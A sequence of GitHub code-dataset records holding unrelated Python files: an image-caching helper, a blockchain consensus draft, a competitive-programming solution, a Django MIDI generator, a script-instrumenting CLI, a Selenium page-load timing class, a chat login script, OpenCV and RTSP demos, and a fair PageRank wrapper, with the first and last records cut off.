image\"\"\"\n mime_type, image_data = self.getImage()\n image_data = base64.b64encode(image_data)\n return 'data:image/%s;base64,%s' % (mime_type, image_data)\n\n @staticmethod\n def downloadImage(url):\n \"\"\"Attempts to open the image url\"\"\"\n try:\n image_file = urllib2.urlopen(url)\n except:\n return None\n\n # If the return code is not 200 - OK, return None\n if image_file.getcode() != 200:\n return None\n return image_file\n\n def getImage(self, refresh_cache=False):\n \"\"\"Obtains and returns the image data for the\n object\"\"\"\n if (not RedisConnection.exists(self.cache_key) or\n not RedisConnection.exists(self.mime_type_cache_key) or\n refresh_cache):\n # Download image\n image_file = Image.downloadImage(self._getImageUrl())\n\n if not image_file:\n image_file = Image.downloadImage(self.DEFAULT_IMAGE)\n\n if not image_file:\n raise TuckshopException('Could not obtain image for %s or default image' % self.inventory.id)\n\n image_data = image_file.read()\n\n # Create temp file to obtain mime-type\n temp_file = tempfile.NamedTemporaryFile(mode='w', delete=False)\n temp_file_path = temp_file.name\n temp_file.write(image_data)\n temp_file.close()\n mime_type = imghdr.what(temp_file_path)\n os.unlink(temp_file_path)\n\n # If the mime-type of the image was recognised,\n # store the image in the redis database\n if mime_type:\n RedisConnection.set(self.cache_key, image_data)\n RedisConnection.set(self.mime_type_cache_key, mime_type)\n else:\n image_data = RedisConnection.get(self.cache_key)\n mime_type = RedisConnection.get(self.mime_type_cache_key)\n\n if not RedisConnection.exists(self.resized_cache_key) or refresh_cache:\n # Define thumbnail image size\n size = (150, 150)\n\n # Open image using PIL and resize\n image = PIL.Image.open(StringIO.StringIO(image_data))\n image.thumbnail(size, PIL.Image.ANTIALIAS)\n\n # Create transaprent background to put the image on\n background = PIL.Image.new('RGBA', size, (255, 255, 255, 0))\n background.paste(image, ((size[0] - image.size[0]) / 2, (size[1] - image.size[1]) / 2))\n\n # Fake filehandler and filename, so that the extension can be the same as the origin MIME type\n output = StringIO.StringIO()\n output.name = 'test.%s' % mime_type\n background.save(output)\n\n # Get value of StringIO object to save/return\n image_data = output.getvalue()\n\n # Close StringIO object\n output.close()\n\n # Update resized image in database\n RedisConnection.set(self.resized_cache_key, image_data)\n else:\n image_data = RedisConnection.get(self.resized_cache_key)\n\n # Return the mime-type and image_data\n return mime_type, image_data\n\n def getImageUrl(self):\n \"\"\"Returns an absolute URL for the image\"\"\"\n return '/item-image/%s' % self.inventory.id\n","repo_name":"MatthewJohn/Tuckshop","sub_path":"tuckshop/core/image.py","file_name":"image.py","file_ext":"py","file_size_in_byte":4478,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"18"} +{"seq_id":"33457862668","text":"from paper1.veh_trust.consensus_v1 import *\n\ndef p2_consensus(path_file_name):\n # 读入仿真车辆的id，300地址代替50辆车\n transactions_dict = transaction_read(path_file_name)\n sorted_transactions_list = sorted(transactions_dict.items(), key=lambda x: x[0])\n flat_sorted_transactions_list = flat_transaction(sorted_transactions_list)\n waiting_blockchain_status_dict = defaultdict(dict)\n for _time_trans_ in flat_sorted_transactions_list:\n tmp_write_dict = {}\n trans_hash = _time_trans_[1]\n tmp_write_dict[\"write_time\"] = _time_trans_[0]\n tmp_write_dict[\"front_list\"] = []\n\n waiting_blockchain_status_dict[trans_hash] = copy.deepcopy(tmp_write_dict)\n\n for _time_trans2 in flat_sorted_transactions_list:\n time_trans2_list = ex_flat_sorted_transactions(_time_trans2, flat_sorted_transactions_list)\n if len(time_trans2_list) > 2:\n time_trans2_list = random.sample(time_trans2_list, 2)\n for time_trans2 in time_trans2_list:\n waiting_blockchain_status_dict[_time_trans2[1]]['front_list'].append(time_trans2)\n\n writed_blockchain_status_dict = defaultdict(dict)\n for trans_hash1, trans_chain in waiting_blockchain_status_dict.items():\n sum_behind_trust = 0\n tmp_writed_dict = {} \n tmp_writed_dict[\"write_time\"] = trans_chain[\"write_time\"]\n tmp_writed_dict[\"front_list\"] = trans_chain[\"front_list\"]\n for store_txn, chain_content in waiting_blockchain_status_dict.items():\n behind_count_score = 0\n if chain_content['write_time'] > trans_chain['write_time']:\n if trans_hash1 in chain_content['front_list']:\n behind_count_score += time_trans3[2]['trust_score']\n\n for trans2 in trans_chain[\"behind_list\"]:\n sum_behind_trust += trans2[2][\"trust_score\"]\n tmp_writed_dict[\"behind_list\"].append(trans2)\n if sum_behind_trust > threshold_op:\n tmp_writed_dict['behind_count_score'] = sum_behind_trust\n writed_blockchain_status_dict[trans_hash1] = copy.deepcopy(tmp_writed_dict)\n break\n\n pass\n\nif __name__ == \"__main__\":\n file_name = \"Transaction_100_0624_10-20.json\"\n path_file_name = \"transactions/{}\".format(file_name)\n p2_consensus(path_file_name)\n\n pass","repo_name":"forbighouse/llbc","sub_path":"paper1/veh_trust/phase2_consensus.py","file_name":"phase2_consensus.py","file_ext":"py","file_size_in_byte":2354,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"30523341672","text":"from collections import deque\n\n\nN, M = map(int, input().split())\n\ncnt = [0] * (N+1)\nedge = [[] for _ in range(N+1)]\nfor _ in range(M):\n k = int(input())\n a = list(map(int, input().split()))\n for i in range(k-1):\n edge[a[i]].append(a[i+1])\n cnt[a[i+1]] += 1\n\nd = deque()\nfor i in range(1, N+1):\n if cnt[i] == 0:\n d.append(i)\n\nwhile d:\n x = d.popleft()\n for to in edge[x]:\n cnt[to] -= 1\n if cnt[to] == 0:\n d.append(to)\n\nif max(cnt[1:]) == 0:\n print('Yes')\nelse:\n print('No')","repo_name":"chikati3/Atcoder","sub_path":"abc216/D.py","file_name":"D.py","file_ext":"py","file_size_in_byte":542,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"10266068019","text":"# django stuff\nfrom django.shortcuts import render, redirect\nfrom django.http import HttpResponse, HttpRequest\nfrom django.core.files import File\n\nfrom userinput.models import Composition, Track\nfrom userinput.forms import ProgressionForm, TrackForm\n\n# my music-writing functions\nfrom salieri.Sfunctions import *\n###===============================================================\n\n#### views\ndef magic(request, id):\n \"\"\"\n ==MASTER FUNCTION==\n Writes music as MIDI based on the user's commands\n\n \"\"\"\n # summon the comp and harvest the data from the django forms \n comp_obj = Composition.objects.get(id=id)\n\n # alternate data type, currently unused\n # comp_data_dict_list = list(Composition.objects.filter(id=id).values())\n # comp_data_dict = comp_data_dict_list[0] \n\n # turn the tonic and quality data into chords as lists of unclassed notes\n chord1 = chordbuild(comp_obj.chord1_tonic, comp_obj.chord1_quality)\n chord2 = chordbuild(comp_obj.chord2_tonic, comp_obj.chord2_quality)\n chord3 = chordbuild(comp_obj.chord3_tonic, comp_obj.chord3_quality)\n chord4 = chordbuild(comp_obj.chord4_tonic, comp_obj.chord4_quality)\n chord5 = chordbuild(comp_obj.chord5_tonic, comp_obj.chord5_quality)\n\n # begin the tupling, essential \n chord1_tuple = (chord1, comp_obj.chord1_bars)\n chord2_tuple = (chord2, comp_obj.chord2_bars)\n chord3_tuple = (chord3, comp_obj.chord3_bars)\n chord4_tuple = (chord4, comp_obj.chord4_bars)\n chord5_tuple = (chord5, comp_obj.chord5_bars)\n\n feed_progression = [\n chord1_tuple,\n chord2_tuple,\n chord3_tuple,\n chord4_tuple,\n chord5_tuple,\n ]\n\n #8-24-22 double check how this works\n\n ### summon the comp tracks, the len of their set, and the track model param list \n all_tracks = Track.objects.all()\n track_objs = all_tracks.filter(comp=comp_obj)\n track_params = list(Track.objects.values()[0].keys())\n \n ### make the master dict list of track data, essential to the iteration loop\n track_dict_list = []\n \n for i in range(len(track_objs)):\n new_dict = {}\n for ii in range (len(track_params)):\n new_dict.update({track_params[ii]:list(list(all_tracks.filter(comp=comp_obj).values_list())[i])[ii]}) # I can't believe this works\n track_dict_list.append(new_dict)\n\n #####================================================================\n ### MASTER LOOP ###\n\n final_comp = Mcomposition()\n for i in range(len(track_dict_list)):\n new_track = Mtrack()\n\n counter = 1\n new_track_data_dict = track_dict_list[i]\n new_track.name = new_track_data_dict[\"trackname\"]\n for tuple in feed_progression:\n skip = False\n current_chord = tuple[0] # a list of unclassed notes as strings\n if current_chord == None:\n skip = True\n current_duration = tuple[1] # a number of bars\n if current_duration in [0, \"0\"]:\n skip = True\n \n if skip == False:\n if counter == 1:\n current_style = new_track_data_dict[\"chord1_style\"]\n current_denom = new_track_data_dict[\"chord1_denom\"]\n current_mutators = listify_mutators(new_track_data_dict[\"chord1_mutators\"])\n bar_list = musicorum_ex_machina(current_chord, current_duration, current_style, current_denom, current_mutators)\n new_track = bar_adder(bar_list, new_track)\n\n elif counter == 2:\n current_style = new_track_data_dict[\"chord2_style\"]\n current_denom = new_track_data_dict[\"chord2_denom\"]\n current_mutators = listify_mutators(new_track_data_dict[\"chord2_mutators\"])\n bar_list = musicorum_ex_machina(current_chord, current_duration, current_style, current_denom, current_mutators)\n new_track = bar_adder(bar_list, new_track)\n\n elif counter == 3:\n current_style = new_track_data_dict[\"chord3_style\"]\n current_denom = new_track_data_dict[\"chord3_denom\"]\n current_mutators = listify_mutators(new_track_data_dict[\"chord3_mutators\"])\n bar_list = musicorum_ex_machina(current_chord, current_duration, current_style, current_denom, current_mutators)\n new_track = bar_adder(bar_list, new_track)\n\n elif counter == 4:\n current_style = new_track_data_dict[\"chord4_style\"]\n current_denom = new_track_data_dict[\"chord4_denom\"]\n current_mutators = listify_mutators(new_track_data_dict[\"chord4_mutators\"])\n bar_list = musicorum_ex_machina(current_chord, current_duration, current_style, current_denom, current_mutators)\n new_track = bar_adder(bar_list, new_track)\n\n elif counter == 5:\n current_style = new_track_data_dict[\"chord5_style\"]\n current_denom = new_track_data_dict[\"chord5_denom\"]\n current_mutators = listify_mutators(new_track_data_dict[\"chord5_mutators\"])\n bar_list = musicorum_ex_machina(current_chord, current_duration, current_style, current_denom, current_mutators)\n new_track = bar_adder(bar_list, new_track)\n \n counter += 1\n\n final_comp.add_track(new_track)\n\n ## sets the local path for the midi file\n directory = \"midi\"\n path = f\"{directory}/{comp_obj.name} (id{comp_obj.id}).mid\"\n # path = f\"{comp_obj.name} (id{comp_obj.id}).mid\"\n\n\n # writes the midi file locally \n midi_file_out.write_Composition(path, final_comp)\n\n ## update the Django model\n with open(path, \"rb\") as f: ## rb is write binary, need for opening the midi\n comp_obj.midi = File(f)\n comp_obj.save()\n\n context = {\n \"comp_obj\":comp_obj,\n \"data_test\":feed_progression,\n \"data_test2\":\"\",\n \"data_test3\":\"\",\n\n }\n \n # render the page\n return render(request, \"generation/finalpage.html\", context)\n # return render(request, \"generation/datatest.html\", context)\n\n ###=================================================================================","repo_name":"logandouglass/salieri-midi","sub_path":"generation/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":6347,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"22878132850","text":"#!/usr/bin/env python \n\n\"\"\"\nsentry.py allows instrumenting a python/pandas program with no\nmodifications to the program itself. Note that only python 3 is supported. \n\n::\n\n sentry.py help \n sentry.py init \n sentry.py example \n sentry.py [run|commit] [-c ] \"\n\n run and commit are almost the same. The latter suggest final\n run. Only committed runs are stored/uploaded. \n\n\"\"\"\n\nimport pydatasentry \nimport os, sys \nimport imp\nimport shutil \nfrom importlib.machinery import SourceFileLoader\n\ndef load_program():\n \"\"\"\n Load the user's command line\n \"\"\"\n path = sys.argv[1] \n with open(path) as f:\n code = compile(f.read(), path, 'exec')\n ldict = locals()\n exec(code, globals(), ldict)\n\ndef load_configuration(conf): \n\n if conf is None: \n return {} \n\n conf = os.path.abspath(conf) \n\n if not os.path.exists(conf): \n print(\"Configuration file not present:\", conf) \n sys.exit()\n\n print(\"Configuration path\", conf) \n\n mod = SourceFileLoader(\"module.name\", conf).load_module() \n return mod.get_config() \n\ndef sentry_help():\n print(\"sentry: Transparently instrument pandas code\") \n print(\"sentry.py help\")\n print('sentry.py init ')\n print('sentry.py example ')\n print('sentry.py run [-c|--config ] ')\n\ndef initialize(conf): \n \"\"\"\n Initialize a sentry configuration file \n \n :param conf: sentry configuration file \n \"\"\"\n\n if os.path.exists(conf): \n print(\"File already exists. Please remove first:\", conf) \n sys.exit() \n\n rootdir = os.path.realpath(os.path.join(os.path.dirname(__file__), \"..\"))\n template = os.path.realpath(os.path.join(rootdir, \n \"share\",\n \"sentry-conf.py.template\"))\n shutil.copyfile(template, conf) \n print(\"Updated\", conf)\n\ndef example(path): \n \"\"\"\n Initialize a sentry configuration file \n \n :param conf: sentry configuration file \n \"\"\"\n\n if os.path.exists(path): \n print(\"File already exists. Please remove first:\", path) \n sys.exit() \n\n rootdir = os.path.realpath(os.path.join(os.path.dirname(__file__), \"..\"))\n template = os.path.realpath(os.path.join(rootdir, \n \"share\",\n \"basic_ols.py.template\"))\n shutil.copyfile(template, path) \n print(\"Updated\", path)\n \ndef main():\n \n offset = 1\n conf=None\n\n # Check for help...\n if len(sys.argv) == 1 or sys.argv[1] in [\"help\"]:\n sentry_help()\n sys.exit()\n\n \n cmd = sys.argv[0]\n sys.argv = sys.argv[1:]\n if sys.argv[0] in [\"init\"]: \n if len(sys.argv) < 2: \n print(\"Missing filename argument\") \n sentry_help()\n sys.exit() \n initialize(conf=sys.argv[1])\n sys.exit() \n\n if sys.argv[0] in [\"example\"]: \n if len(sys.argv) < 2: \n print(\"Missing filename argument\") \n sentry_help()\n sys.exit() \n example(path=sys.argv[1])\n\n if sys.argv[0] in [\"run\", \"commit\"]: \n runcmd = sys.argv[0]\n\n if len(sys.argv) < 2: \n print(\"Missing arguments\") \n sentry_help()\n sys.exit() \n\n # Handle the configuration option...\n sys.argv = sys.argv[1:]\n print(\"Before config\", sys.argv) \n if sys.argv[0] in [\"-c\", \"--conf\"]:\n if len(sys.argv) < 3: \n print(\"Missing configuration file\") \n sentry_help()\n sys.exit() \n\n conf = sys.argv[1] \n config = load_configuration(conf) \n sys.argv = sys.argv[2:]\n else: \n config = {} \n \n if 'spec' not in config: \n config['spec'] = {} \n config['spec']['run'] = runcmd \n\n if sys.argv[0] in [\"-m\", \"--message\"]:\n if len(sys.argv) < 3: \n print(\"Missing configuration file\") \n sentry_help()\n sys.exit() \n message = sys.argv[1] \n config['spec']['message'] = message\n sys.argv = sys.argv[2:]\n\n print(\"Found config\", config) \n pydatasentry.initialize(config) \n\n # Now load the program...\n sys.argv.insert(0, cmd) \n load_program()\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"yarapavan/pydatasentry","sub_path":"bin/sentry.py","file_name":"sentry.py","file_ext":"py","file_size_in_byte":4559,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"18"} +{"seq_id":"25973419088","text":"import os\nimport sys\nimport re\nimport json\nimport time\nimport pandas as pd\nimport numpy as np\n\nfrom selenium import webdriver\nfrom selenium.common.exceptions import TimeoutException\nfrom selenium.webdriver.chrome.service import Service\n\n\nclass ClientBrowser:\n def __init__(self, timeout, experiment_name, instance, harfiles_save_rootdir, way_of_get_metric='chrome-har-capturer', way_of_get_page_features='static_file') -> None:\n self.timeout = timeout\n self.experiment_name = experiment_name\n self.instance = instance\n self.harfiles_save_rootdir = harfiles_save_rootdir\n self.way_of_get_metric = way_of_get_metric\n self.way_of_get_page_features = way_of_get_page_features\n\n self.page_features_static = pd.read_csv('data/web_features_raw.csv')\n\n self.server_dict = {0: \"\", 1: \"as.\", 2: \"au.\", 3: \"eu.\", 4: \"sa.\", 5: \"us.\"}\n self.http2_port = 10001\n self.quic_port = 10002\n\n def get_ttfb_from_har(self, filename):\n file_try_count = 0\n while True:\n if os.path.exists(filename):\n with open(filename, 'r') as fin:\n data = json.load(fin)\n try:\n return data[\"log\"][\"entries\"][0][\"timings\"][\"wait\"]\n except:\n return -1\n if file_try_count > 400:\n return -1\n file_try_count += 1\n time.sleep(1)\n\n def get_plt_from_har(self, data, metric='LatestOKTime'):\n try:\n if metric == 'LatestOKTime':\n return self._LatestOKTime(data)\n elif metric == 'onLoadTime':\n return self._onLoadTime(data)\n elif metric == 'onContentLoadTime':\n return self._onContentLoadTime(data)\n except Exception as err:\n print(err)\n return -1\n\n def _onLoadTime(self, data):\n res = data[\"pages\"][0][\"pageTimings\"][\"onLoad\"]\n if res is None:\n return -1\n return res\n\n def _onContentLoadTime(self, data):\n res = data[\"pages\"][0][\"pageTimings\"][\"onContentLoad\"]\n if res is None:\n return -1\n return res\n\n def _LatestOKTime(self, data):\n start = self._transfer(data[\"pages\"][0][\"startedDateTime\"])\n end = start\n count = 0\n for entry in data[\"entries\"]:\n code = entry[\"response\"][\"status\"]\n if code == 404:\n continue\n count += 1\n t = self._transfer(entry[\"startedDateTime\"])+entry[\"time\"]\n dns = entry[\"timings\"][\"dns\"]\n if dns != -1:\n t -= dns\n end = max(end, t)\n # print(entry[\"startedDateTime\"], entry[\"time\"], t)\n if count == 0:\n return -1\n else:\n return end-start\n\n def _transfer(self, st): # unit: ms\n p = st.index('.')\n numeric = \"0\"+st[p:-1]\n timestamp = (self._toTimestamp(st[:p])+float(numeric))*1000\n return timestamp\n\n def _toTimestamp(self, strtime):\n timeformat = \"%Y-%m-%dT%H:%M:%S\"\n localOffset = -int(time.mktime(\n # begin time for different os:\n # Linux: 1970-01-01T00:00:00\n # Windows: 1970-01-01T08:00:00\n # Choose the respective begin time for the os you're running\n time.strptime('1970-01-01T00:00:00', timeformat)))\n # Beijing: localOffset=28800\n\n offset = localOffset\n return int(time.mktime(time.strptime(strtime, timeformat)))+localOffset-offset\n\n\nclass SeleniumBrowser(ClientBrowser):\n def __init__(self, timeout, experiment_name, instance, harfiles_save_rootdir, way_of_get_metric, way_of_get_page_features, chromedriver_dir) -> None:\n super().__init__(timeout, experiment_name, instance,\n harfiles_save_rootdir, way_of_get_metric, way_of_get_page_features)\n self.chromedriver_dir = chromedriver_dir\n\n def init_browser(self):\n # Quit existing client browser\n try:\n self.driver.quit()\n print('[info] Selenium webdriver quit successful')\n os.system(\n \"ps -ef | grep chrome | awk '{print $2}' | xargs kill -9\")\n except:\n print(\n '[warning] Selenium webdriver quit failed. There might be no existing selenium webdriver.')\n os.system(\n \"ps -ef | grep chrome | awk '{print $2}' | xargs kill -9\")\n\n try:\n # Start a new selenium webdriver\n option = webdriver.ChromeOptions()\n option.add_argument('headless')\n option.add_argument('disable-gpu')\n option.add_argument('--remote-debugging-port=9222')\n option.add_argument('--enable-quic')\n option.add_argument('--origin-to-force-quic-on=example.com:10002')\n # chromedriver_dir = '/usr/local/bin/chromedriver'\n self.driver = webdriver.Chrome(\n executable_path=self.chromedriver_dir, chrome_options=option)\n self.driver.set_page_load_timeout(self.timeout)\n self.driver.set_script_timeout(self.timeout)\n self.driver.execute_cdp_cmd(\n \"Network.setCacheDisabled\", dict({'cacheDisabled': True}))\n except:\n self.init_browser()\n\n def clean_cache(self):\n self.driver.execute_cdp_cmd(\"Network.clearBrowserCookies\", dict({}))\n self.driver.execute_cdp_cmd(\"Network.clearBrowserCache\", dict({}))\n\n def send_request(self, domain, link, protocol, server_num=0, with_performance_timing=False):\n self.http2_url_header = \"https://{}example.com:\".format(self.server_dict[server_num]) + \\\n str(self.http2_port) + \"/alexa_top240/\"\n self.quic_url_header = \"https://{}example.com:\".format(self.server_dict[server_num]) + \\\n str(self.quic_port) + \"/alexa_top240/\"\n\n if protocol == 'quic':\n url = self.quic_url_header + domain + '/' + link\n else:\n url = self.http2_url_header + domain + '/' + link\n print(url)\n try:\n if self.way_of_get_metric == 'chrome-har-capturer':\n filename = os.path.join(self.harfiles_save_rootdir, self.experiment_name, self.instance, '{}_{}_{}.har'.format(\n protocol, link[:-1], str(time.time() * 1e7)))\n os.system(\"{} --url {} --output {}\".format(\n os.path.join(str(os.environ.get(\"FLEXHTTP\")),\n \"client\", \"browse_and_cap_har.js\"),\n url,\n filename\n ))\n timing = self.get_timing_from_har(filename)\n plt = timing['tplt']\n ttfb = self.get_ttfb_from_har(filename)\n\n # Delete the har file to save disk space\n os.system(\"rm -rf {}\".format(filename))\n if with_performance_timing:\n performance_timing = self.driver.execute_script(\n \"return window.performance.timing\")\n timing.update(performance_timing)\n return plt, (timing, ttfb)\n elif self.way_of_get_metric == 'lighthouse':\n os.makedirs(os.path.join(str(os.getenv(\"HOME\")), 'exp_results',\n 'json_results', self.experiment_name, self.instance), exist_ok=True)\n filename = os.path.join(str(os.getenv(\"HOME\")), 'exp_results', 'json_results', self.experiment_name,\n self.instance, '{}_{}_{}.json'.format(protocol, link[:-1], str(time.time() * 1e7)))\n os.system(\"{} --url {} --output {}\".format(\n os.path.join(str(os.environ.get(\"FLEXHTTP\")),\n 'client', 'browse_with_lighthouse.js'),\n url,\n filename\n ))\n timing = self.get_timing_from_lighthouse_json(filename)\n # Delete the json file to save disk space\n # os.system(\"rm -rf {}\".format(filename))\n si = timing['speed_index']\n return si, timing # si used as warning when -1\n\n except Exception as err:\n print(err)\n self.init_browser()\n plt = -1\n ttfb = -1\n timing = {}\n return plt, (timing, ttfb)\n\n def get_timing_from_har(self, filename):\n file_try_count = 0\n while True:\n if os.path.exists(filename):\n with open(filename, 'r') as fin:\n data = json.load(fin)\n data = data['log']\n\n tplt = self.get_plt_from_har(data=data, metric='onLoadTime')\n nplt = self.get_plt_from_har(\n data=data, metric='LatestOKTime')\n tplt = tplt/1000 if tplt != -1 else tplt\n nplt = nplt/1000 if tplt != -1 else nplt\n break\n\n if file_try_count > 400:\n tplt, nplt = 400, 400\n break\n file_try_count += 1\n time.sleep(1)\n timing = {\n 'nplt': nplt,\n 'tplt': tplt,\n 'filename': filename\n }\n return timing\n\n def get_timing_from_lighthouse_json(self, filename):\n file_try_count = 0\n while True:\n if os.path.exists(filename):\n with open(filename, 'r') as fin:\n data = json.load(fin)\n data = data['audits']\n\n first_contentful_paint = data['first-contentful-paint']['numericValue']\n speed_index = data['speed-index']['numericValue']\n interactive = data['interactive']['numericValue']\n page_load_time = data['metrics']['details']['items'][0]['observedLoad']\n break\n\n if file_try_count > 400:\n first_contentful_paint = -1\n speed_index = -1\n interactive = -1\n break\n file_try_count += 1\n time.sleep(1)\n\n timing = {\n 'speed_index': speed_index,\n 'first_contentful_paint': first_contentful_paint,\n 'interactive': interactive,\n 'plt': page_load_time,\n 'filename': filename\n }\n return timing\n\n def get_page_features(self, link):\n if self.way_of_get_page_features == 'static_file':\n link_row = self.page_features_static[self.page_features_static['site'] == link]\n page_features = link_row.to_dict('records')[0]\n return page_features\n elif self.way_of_get_page_features == 'browser':\n # TODO: add function to get page features from current browser\n pass\n\n\nclass ChromeBrowser(ClientBrowser):\n # TODO:\n def __init__(self) -> None:\n pass\n\n def init_browser(self):\n pass\n\n\nif __name__ == \"__main__\":\n client_browser = SeleniumBrowser(\n timeout=400,\n experiment_name=\"goodluck\",\n instance=\"100ms-0d01-100M\",\n way_of_get_metric=\"chrome-har-capturer\",\n way_of_get_page_features=\"static_file\")\n\n client_browser.init_browser()\n client_browser.clean_cache()\n time.sleep(86400)","repo_name":"mengyingzhou/FlexHTTP","sub_path":"client/ClientBrowser.py","file_name":"ClientBrowser.py","file_ext":"py","file_size_in_byte":11310,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"18"} +{"seq_id":"12280678790","text":"'''\r\n\tTitle: Xat Login\r\n\tAuthor: Armin [Perc (40302)]\r\n\tDate: /\r\n\tDescription: Fetches \\0', encoding='utf-8'))\r\n\t\tprint('[Recv]', self.Xat.recv(4068).decode('utf-8', 'ignore'))\r\n\r\n\t\tself.Xat.send(bytes('\\0' % (str(self.userConfig['reg']), str(self.userConfig['pw'])), encoding='utf-8'))\r\n\t\tprint('[Recv]', self.Xat.recv(4068).decode('utf-8', 'ignore'))\r\n\r\n\tdef xmlArray(self, xml):\r\n\t\ttry:\r\n\t\t\t_return = {}\r\n\t\t\tarray = ElementTree.fromstring(xml if xml[-1:] != chr(0) else xml[:-1])\r\n\t\t\t_return[chr(0)] = array.tag\r\n\t\t\tfor i in array.attrib:\r\n\t\t\t\t_return[i] = array.attrib[i]\r\n\t\tfinally: return _return\r\n\r\nlogin()\r\n","repo_name":"LuvPercs/Xat-Projects","sub_path":"xatLogin.py","file_name":"xatLogin.py","file_ext":"py","file_size_in_byte":1392,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"26376757785","text":"# https://gist.github.com/endless3cross3/2c3056aebef571c6de1016b2bbf2bdbf\n\nimport cv2\n\n\n# 0.33 是为了保证高阈值/低阈值=3倍\ndef otsu_canny(image, lowrate=0.33):\n if len(image.shape) > 2:\n image = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)\n\n # Otsu's thresholding\n ret, _ = cv2.threshold(image, thresh=0, maxval=255, type=(cv2.THRESH_BINARY + cv2.THRESH_OTSU))\n edged = cv2.Canny(image, threshold1=(ret * lowrate), threshold2=ret)\n\n # return the edged image\n return edged\n\n\nimg_path = r'../materials/images/op-sample-1.png'\nimg = cv2.imread(img_path)\n\nedged = otsu_canny(img)\n\ncv2.imshow('img', edged)\ncv2.waitKey()\ncv2.destroyAllWindows()\n","repo_name":"mad-center/video-edge-detection-opencv","sub_path":"playground/test_otsu_canny.py","file_name":"test_otsu_canny.py","file_ext":"py","file_size_in_byte":672,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"40838824378","text":"import pytest\nfrom selenium.webdriver.chrome.service import Service\nfrom webdriver_manager.chrome import ChromeDriverManager\nfrom selenium.webdriver.chrome.options import Options\nfrom selenium import webdriver\nfrom page_object.creditcard_page import CreditCardView\n\n\n@pytest.fixture\ndef driver():\n service = Service(executable_path=ChromeDriverManager().install())\n # Display on the desktop\n # driver = webdriver.Chrome(service=service)\n # driver.set_window_size(400, 750)\n # Headless\n chrome_options = Options()\n chrome_options.add_argument(\"--headless\")\n chrome_options.add_argument(\"--disable-gpu\")\n chrome_options.add_argument(\"--window-size=400x750\")\n driver = webdriver.Chrome(service=service, options=chrome_options)\n\n driver.get(\"https://www.cathaybk.com.tw/cathaybk/\")\n yield driver\n driver.quit()\n\n\n@pytest.fixture\ndef credit_card_view(driver):\n return CreditCardView(driver)\n","repo_name":"Sherry0312/cathaybk_interview","sub_path":"Automation_assignment/test_web/conftest.py","file_name":"conftest.py","file_ext":"py","file_size_in_byte":928,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"34615307632","text":"import cv2\r\nimport threading\r\n\r\nRTSP_URL = 'rtsp://wowzaec2demo.streamlock.net/vod/mp4:BigBuckBunny_115k.mp4'\r\nstreams=(\r\n [RTSP_URL,'cam1'],\r\n [RTSP_URL,'cam2'],\r\n [RTSP_URL,'cam3'],\r\n)\r\n\r\n\r\ndef cams(s):\r\n url = s[0]\r\n cam = s[1]\r\n\r\n video = cv2.VideoCapture(url)\r\n while True:\r\n _, frame = video.read()\r\n cv2.imshow(cam, frame)\r\n k = cv2.waitKey(1)\r\n if k == ord('q'):\r\n break\r\n video.release()\r\n cv2.destroyAllWindows()\r\n\r\n\r\nthread_list = []\r\nfor s in streams:\r\n x = threading.Thread(target=cams, args=(s,))\r\n thread_list.append(x)\r\n # x.start()\r\n # x.join()\r\n\r\nfor thread in thread_list:\r\n # thread.setDaemon(True)\r\n thread.start()\r\n # thread.join()","repo_name":"kishore-work-hard/stream-multi-IP-cam","sub_path":"one.py","file_name":"one.py","file_ext":"py","file_size_in_byte":740,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"15165803326","text":"\"\"\"\nLive Project Lab 6 \nHave used a local text file as the source\n\n\"\"\"\nimport string \nimport re\nwith open(\"gitWorkflow.txt\") as infile, open(\"gitWorkflow_clean.txt\", \"w\") as outfile:\n for line in infile:\n # make all one case\n # remember to add new string 'lowerline = ' strings are immutable!\n lowerline = line.lower()\n \n # remove punctuation with regular expression\n no_punctuation = re.sub(r'[^\\w\\s]','', lowerline)\n \n # split into words - whitespace is default separator\n # words is a list of individual words in the line \n words = no_punctuation.split()\n \n # write all words one word per line\n for word in words:\n outfile.write(word)\n # write will only accept one argument\n outfile.write(\"\\n\")\n \n","repo_name":"richardhosking/Manning-Live-Project","sub_path":"work.py","file_name":"work.py","file_ext":"py","file_size_in_byte":841,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"34550554029","text":"from typing import Tuple, Union\nfrom pathlib import Path\nimport os\n\nimport pandas as pd\nimport networkx as nx\nimport scipy.sparse as sp\n\nfrom .fairgraph import FairPairGraph\nfrom .recovery_baselines import *\n\n\ndef fairPageRank(G:FairPairGraph, cutoff=0.4, phi=0.5, path='data/tmp'):\n '''A wrapper for the C++-based implementation of Fairness-Aware PageRank (Tsioutsiouliklis et al., 2021)'''\n # get all edges with weights higher than or equal to cutof\n edges = G.edges(data='weight')\n edges = [(outgoing, incoming) for outgoing, incoming, weight in edges if weight>=cutoff]\n \n # write edgelist\n graphfile_path = Path(path,'out_graph.txt')\n with open(graphfile_path, 'w') as file:\n file.write(f'{len(G.nodes)}\\n')\n for edge in edges:\n file.write(f'{edge[0]} {edge[1]}\\n')\n \n # write nodelist with groups\n nodes = G.nodes(data='minority')\n nodes = [(node, 1) if minority else (node, 0) for node, minority in nodes]\n community_path = Path(path,'out_community.txt')\n with open(community_path, 'w') as file:\n file.write('2\\n') # we always have two groups\n for node in nodes:\n file.write(f'{node[0]} {node[1]}\\n')\n \n # write desired community sizes\n sizes_path = Path(path,'sizes.txt')\n with open(sizes_path, 'w') as file:\n file.write(f'0 {1-phi}\\n') # priviledged group\n file.write(f'1 {phi}\\n') # unpriviledged group\n \n # run the compiled fairPageRank program\n # make sure that pagerank.out is 